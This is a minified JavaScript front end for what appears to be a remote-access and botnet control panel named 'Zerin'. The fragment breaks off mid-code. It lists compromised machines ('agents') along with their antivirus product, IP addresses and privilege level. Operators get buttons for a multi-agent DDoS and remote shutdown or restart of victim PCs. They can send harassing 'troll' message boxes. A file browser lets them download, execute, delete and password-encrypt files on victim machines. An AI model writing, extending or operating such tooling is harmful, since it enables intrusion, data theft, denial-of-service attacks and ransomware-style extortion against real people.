24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:fe.length})," ",f," agent",fe.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:fe.length>0&&fe.filter(D=>D.status!=="dead").every(D=>U.has(D.id)),onChange:D=>{D.target.checked?K(new Set(fe.filter(re=>re.status!=="dead").map(re=>re.id))):K(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),lU.map(D=>s.jsx("th",{onClick:()=>te(D.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${D.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[D.label,s.jsx(uU,{column:D.key,sort:u})]})},D.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:fe.map(D=>s.jsxs("tr",{onClick:()=>A(D),onContextMenu:re=>Z(re,D),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${D.status==="dead"?"opacity-50":""} ${D.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:re=>re.stopPropagation(),children:D.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:U.has(D.id),onChange:re=>{K(_=>{const ee=new Set(_);return re.target.checked?ee.add(D.id):ee.delete(D.id),ee})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(qu,{status:D.status,size:"sm",showLabel:!0}),D.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${D.banned?"line-through":""}`,children:D.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[D.username,D.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:po(D.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:D.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:D.av_product||"Unknown",children:D.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:D.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:D.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:D.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:fo(D.last_seen),children:_c(D.last_seen)})]},D.id))})]})})})]}),U.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[U.size," agent",U.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>L(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsx("button",{onClick:()=>K(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),$&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>L(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:D=>D.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>L(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(C3,{agentIds:[...U]})]})}),s.jsx(RA,{x:h.x,y:h.y,visible:h.visible,onAction:R,onClose:ae,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(n5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(BA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&s.jsx(dU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async D=>{const re=v.tags??[];n(_=>_.map(ee=>ee.id===v.id?{...ee,tags:D}:ee)),b(_=>_&&{..._,tags:D});try{await wE(v.id,D)}catch{n(_=>_.map(ee=>ee.id===v.id?{...ee,tags:re}:ee)),b(_=>_&&{..._,tags:re}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:D=>D.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ce(k.agentId,{command:k.command}).catch(D=>{o(`Failed to submit task: ${D instanceof Error?D.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:D=>D.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:O,onChange:D=>E(D.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:T,onChange:D=>P(D.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{T.trim()&&Ce(N.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(D=>{o(`Failed to submit task: ${D instanceof Error?D.message:"unknown error"}`)}),z(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function Ll({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function uU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function dU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(qu,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(on,{label:"Hostname",value:e.hostname}),s.jsx(on,{label:"Username",value:e.username}),s.jsx(on,{label:"OS",value:po(e.os)}),s.jsx(on,{label:"Architecture",value:e.arch}),s.jsx(on,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(on,{label:"Integrity",value:e.integrity}),s.jsx(on,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(on,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(on,{label:"Sleep / Jitter",value:t5(e.sleep_interval,e.jitter),mono:!0}),s.jsx(on,{label:"Agent ID",value:Ts(e.id),mono:!0}),s.jsx(on,{label:"First Seen",value:fo(e.first_seen)}),s.jsx(on,{label:"Last Seen",value:_c(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(iU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function on({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const fU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},pU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},mU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function hU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${fU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${mU[a.type]} select-none`,children:pU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function xU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),O=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const q=se=>{se.button!==2&&z.current&&!z.current.contains(se.target)&&h(null)},X=se=>{se.key==="Escape"&&h(null)};return document.addEventListener("mousedown",q),document.addEventListener("keydown",X),()=>{document.removeEventListener("mousedown",q),document.removeEventListener("keydown",X)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var q;return(q=O.current)==null?void 0:q.focus()},50)},[y]);const E=p.useCallback(q=>new Promise((X,se)=>{let ue=0;const fe=30,me=setInterval(async()=>{var Y;ue++;try{const C=(Y=(await Tn(e)).results)==null?void 0:Y.find(A=>A.task_id===q);C?(clearInterval(me),C.error?se(new Error(C.error)):X({output:C.output,data:C.data})):ue>=fe&&(clearInterval(me),se(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=p.useCallback(async q=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:X}=await Ce(e,{command:"ls",args:[q]});r(q),f(!0);let se=0;const ue=30;N.current=setInterval(async()=>{var fe;se++;try{const Y=(fe=(await Tn(e)).results)==null?void 0:fe.find(te=>te.task_id===X);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const te=Y.output.split(` +`).slice(2),C=[];for(const A of te){if(A.length<35)continue;const Z=A.substring(0,12).trim(),R=A.substring(13,33).trim();let ae=A.substring(34).trim();if(!ae||ae==="."||ae==="..")continue;const pe=Z==="";(ae.endsWith("/")||ae.endsWith("\\"))&&(ae=ae.slice(0,-1)),C.push({name:ae,isDir:pe,size:pe?void 0:Z,modified:R})}a(C)}}else se>=ue&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(X){u(X instanceof Error?X.message:"Failed to send command"),l(!1)}}},[e,S]),P=q=>{if(q.name.includes("..")||q.name.includes("/")||q.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+X+q.name},U=q=>{k(q),setTimeout(()=>k(""),5e3)},K=async q=>{h(null),g("download"),u(""),k("");try{const X=P(q),{task_id:se}=await Ce(e,{command:"download",args:[X]}),ue=await E(se);if(ue.data){let fe;try{fe=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const me=new Uint8Array(fe.length);for(let A=0;A{h(null),g("delete"),u(""),k("");try{const X=P(q),{task_id:se}=await Ce(e,{command:"delete",args:[X]});await E(se),U(`Deleted ${q.name}`),T(n)}catch(X){u(X instanceof Error?X.message:"Delete failed")}finally{g(null)}},L=async(q,X,se)=>{v(null),w(""),g(q),u(""),k("");try{const ue=P(X),{task_id:fe}=await Ce(e,{command:q,args:[ue,se]}),me=await E(fe);U(me.output||`${q==="encrypt"?"Encrypted":"Decrypted"} ${X.name}`),T(n)}catch(ue){u(ue instanceof Error?ue.message:`${q} failed`)}finally{g(null)}},F=async q=>{h(null),g("execute"),u(""),k("");try{const X=P(q),{task_id:se}=await Ce(e,{command:"execute",args:[X]}),ue=await E(se);U(ue.output||`Executed ${q.name}`)}catch(X){u(X instanceof Error?X.message:"Execute failed")}finally{g(null)}},W=(q,X)=>{q.preventDefault(),q.stopPropagation();const se=180,ue=220;let fe=q.clientX,me=q.clientY;fe+se>window.innerWidth&&(fe=window.innerWidth-se-8),me+ue>window.innerHeight&&(me=window.innerHeight-ue-8),h({x:Math.max(4,fe),y:Math.max(4,me),entry:X})},H=()=>{!y||!b.trim()||L(y.action,y.entry,b)},B=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:q=>{q.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),B.map((q,X)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const se=B.slice(0,X+1).join("\\")+"\\";T(se)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:q})]},X))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>T(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(q=>s.jsxs("button",{onClick:()=>{if(q.isDir){const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+X+q.name)}},onContextMenu:X=>W(X,q),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:q.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:q.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:q.name})]},q.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>K(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>$(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:q=>q.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:O,type:"password",value:b,onChange:q=>w(q.target.value),onKeyDown:q=>{q.key==="Enter"&&H(),q.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover 